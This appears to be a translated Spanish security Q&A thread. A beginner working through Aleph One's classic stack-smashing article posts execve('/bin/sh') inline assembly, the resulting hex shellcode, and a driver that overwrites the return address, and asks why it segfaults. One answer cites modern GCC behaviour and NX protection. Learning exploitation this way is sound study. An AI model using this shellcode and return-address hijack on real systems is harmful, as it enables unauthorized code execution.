problema de aplastamiento de pila

2

Actualmente estoy leyendo el popular artículo "Destrozando la pila por diversión y beneficio" por Aleph One, pero tengo un problema. Intentaré aislar el problema y presentarle solo ese detalle.

Incluso si logré adaptar los primeros ejemplos de mi compilador, me quedo con el ejemplo "testsc2.c". Voy a exponer ese problema brevemente. En ese ejemplo, él comienza a partir de los siguientes 2 programas simples:

1)

#include stdio.h

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

2)

#include stdlib.h

void main() {
        exit(0);
}

Después de analizar el "desdibujar gdb" de estos dos programas, escribe un programa de ensamblador haciendo lo que estos 2 programas están haciendo (iniciando un shell). Adapté ese programa para mi compilador y obtuve: (Es muy interesante la instrucción JMP a CALL y después la instrucción CALL a POP para averiguar la dirección de la cadena).

shell.c

 void main() {
        __asm__(
                " jmp .+44             ;"
                " popl %esi            ;"
                " movl %esi, 0x8(%esi) ;"
                " movb $0x0, 0x7(%esi) ;"
                " movl $0x0, 0xc(%esi) ;"
                " movl $0xb, %eax      ;"
                " movl %esi, %ebx      ;"
                " leal 0x8(%esi), %ecx ;"
                " leal 0xc(%esi), %edx ;"
                " int  $0x80           ;"
                " movl $0x1, %eax      ;"
                " movl $0x0, %ebx      ;"
                " int  $0x80           ;"
                " call .-42            ;"
                " .string \"/bin/sh\"  ;"

        );
        }

Mi gran problema es que este programa me da un SEG FAULT. ¿No debería haber abierto un shell?

El "gdb disassemble for the program es:

0x080483b4 <+0>:    push   %ebp
   0x080483b5 <+1>:     mov    %esp,%ebp
   0x080483b7 <+3>:     jmp    0x80483e3 <main+47>
   0x080483b9 <+5>:     pop    %esi
   0x080483ba <+6>:     mov    %esi,0x8(%esi)
   0x080483bd <+9>:     movb   $0x0,0x7(%esi)
   0x080483c1 <+13>:    movl   $0x0,0xc(%esi)
   0x080483c8 <+20>:    mov    $0xb,%eax
   0x080483cd <+25>:    mov    %esi,%ebx
   0x080483cf <+27>:    lea    0x8(%esi),%ecx
   0x080483d2 <+30>:    lea    0xc(%esi),%edx
   0x080483d5 <+33>:    int    $0x80
   0x080483d7 <+35>:    mov    $0x1,%eax
   0x080483dc <+40>:    mov    $0x0,%ebx
   0x080483e1 <+45>:    int    $0x80
   0x080483e3 <+47>:    call   0x80483b9 <main+5>
   0x080483e8 <+52>:    das
   0x080483e9 <+53>:    bound  %ebp,0x6e(%ecx)
   0x080483ec <+56>:    das
   0x080483ed <+57>:    jae    0x8048457 <__libc_csu_init+87>
   0x080483ef <+59>:    add    %bl,-0x3d(%ebp) 

Después de eso, con gdb obtengo el código de shell:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";

El código que obtiene (Aleph One en su artículo) difiere del mío solo con 2 hexa (caracteres en negrita) en la última línea:

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";'
// Difference                            ^^^^^^^^

Estoy usando el siguiente programa para iniciar un shell:

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";'


void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

Si ejecuto shell.c obtengo un SEG FAULT. Creo que debería haber abierto un shell. Además, si ejecuto el programa anterior con el código de shell, obtengo un error de seguridad. Creo que hay un problema con los segmentos desalineados pero no estoy seguro. No sé cómo depurar porque soy un principiante con gdb. Lo siento por mi largo post. Cualquier consejo sería muy apreciado.

    
pregunta Doru_RO 13.02.2013 - 21:56
fuente

1 respuesta

8

En primer lugar, el documento que está leyendo tiene más de una década y ya no es aplicable a los sistemas modernos.

El problema al que te enfrentas es que en la última versión de GCC, el main ya no "regresa" como una función normal, solo sale. Si desea un puntero a la dirección de retorno int *ret; , debe declarar otra función y llamar a esta función desde main. Cuando esta nueva función intenta volver a la pantalla principal, debe ejecutar su código de shell. (¡pero su código shell aún no se ejecutará debido al bit NX!)

Intente leer: Aplastando la pila en 2011 , o busque una copia de "Hacking: El arte de la explotación, 2ª edición "

    
respondido por el rook 13.02.2013 - 22:18
fuente

Lea otras preguntas en las etiquetas